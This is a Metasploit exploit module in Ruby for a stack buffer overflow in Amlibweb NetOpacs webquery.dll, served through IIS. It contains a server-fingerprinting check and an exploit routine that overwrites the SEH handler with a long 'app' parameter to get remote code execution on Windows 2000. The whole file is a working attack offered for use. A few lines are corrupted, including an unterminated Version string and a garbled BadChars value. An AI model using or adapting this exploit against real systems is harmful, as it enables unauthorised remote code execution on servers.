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##
# $Id: amlibweb_webquerydll_app.rb 9953 2010-08-03 16:17:43Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Amlibweb NetOpacs webquery.dll Stack Overflow',
'Description' => %q{
This module exploits a stack overflow in Amlib's Amlibweb
Library Management System (NetOpacs). The webquery.dll
API is available through IIS requests. By specifying
an overly long string to the 'app' parameter, SeH can be
reliably overwritten allowing for arbitrary remote code execution.
In addition, it is possible to overwrite EIP by specifying
an arbitrary parameter name with an '=' terminator.
},
'Author' => [ 'patrick' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9953
,
'References' =>
[
[ 'OSVDB', '66814'],
[ 'URL', 'http://www.aushack.com/advisories/' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x0a\x0d\x20%=?\x2f\x5c\x3a\x3d\@;!___FCKpd___0quot;,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'DisableNops' => 'True',
'StackAdjustment' => -3500,
},
'Platform' => ['win'],
'Targets' =>
[
# patrickw - Tested OK 20100803 w2k IIS5
[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll - 'dll?app={buff}' for SeH IIS5
# [ 'Windows 2003 Server All - English', { 'Ret' => 0x44434241 } ], # todo: 'dll?{buff}=' call edi for EIP in IIS6 w3wp.exe, 120 byte limit, ASCII only.
],
'DisclosureDate' => 'Aug 03 2010', #0day
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
],self.class)
end
def check
connect
rand = Rex::Text.rand_text_alpha(10)
sock.put("GET /amlibweb/webquery.dll?#{rand}= HTTP/1.0\r\n\r\n")
res = sock.get(-1,3)
disconnect
if (res =~ /<H1>BAD REQUEST<\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\s(\w+)/)
if ($1 == rand)
return Exploit::CheckCode::Vulnerable
end
end
Exploit::CheckCode::Safe
end
def exploit
connect
seh = generate_seh_payload(target.ret)
buffer = Rex::Text.rand_text_alphanumeric(3028) + seh
sploit = "GET /amlibweb/webquery.dll?app=" + buffer + " HTTP/1.0\r\n"
sock.put(sploit + "\r\n\r\n")
handler
disconnect
end
end
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